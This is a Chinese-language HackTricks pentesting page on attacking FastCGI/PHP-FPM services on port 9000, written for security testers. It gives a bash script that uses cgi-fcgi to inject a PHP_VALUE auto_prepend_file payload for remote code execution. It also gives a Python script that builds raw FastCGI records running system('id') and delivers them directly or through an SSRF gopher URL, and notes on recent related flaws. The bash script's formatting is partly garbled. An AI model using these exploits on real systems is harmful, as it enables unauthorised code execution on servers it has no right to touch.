9000 Pentesting FastCGI
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
如果你想 learn what is FastCGI,请查看以下页面:
disable_functions bypass - php-fpm/FastCGI
默认情况下 FastCGI 在 端口 9000 上运行,且不会被 nmap 识别。通常 FastCGI 只监听在 localhost。
枚举 / 快速检查
- Port scan:
nmap -sV -p9000 <target>(通常会显示 “unknown” service;请手动测试)。 - Probe FPM status page:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(默认 php-fpmpm.status_path)。 - Find reachable sockets via SSRF: 如果 HTTP 服务可被 SSRF 利用,尝试
gopher://127.0.0.1:9000/_...payloads 来命中 FastCGI listener。 - Nginx misconfigs: 当
cgi.fix_pathinfo=1与fastcgi_split_path_info的配置有错误时,可以在静态文件后追加/.php来触发 PHP(code exec via traversal)。
RCE
让 FastCGI 执行任意代码相当容易:
发送一个在前面插入 PHP payload 的 FastCGI 请求
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
或者你也可以使用以下 python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher to FastCGI(当 9000 无法直接访问时)
如果你只能控制一个 **SSRF** primitive,你仍然可以使用 gopher scheme 命中 FastCGI 并构造完整的 FastCGI 请求。示例 payload builder:
<details>
<summary>Build and send a gopher FastCGI RCE payload</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
将 payload 转换为 URL 安全的 base64/百分号编码,并在你的 SSRF 中通过 gopher://host:9000/_<payload> 发送。
近期问题说明
- libfcgi <= 2.4.4 integer overflow (2024): 精心构造的
nameLen/valueLen在 FastCGI 记录中可能在 32‑bit 构建(嵌入式/IoT 常见)上触发 integer overflow,从而在 FastCGI socket 可达(直接或通过 SSRF)时导致 heap RCE。 - PHP-FPM log manipulation (CVE-2024-9026): 当
catch_workers_output = yes时,能够发送 FastCGI 请求的攻击者可能会截断或注入每行日志最多 4 字节,以删除指示器或污染日志。 - Classic Nginx + cgi.fix_pathinfo misconfig: 仍然很常见;如果在未进行文件存在性检查的情况下使用
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;,任何以.php结尾的路径都会被执行,从而可能启用 path traversal 或 source overwrite 风格的 gadgets。
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


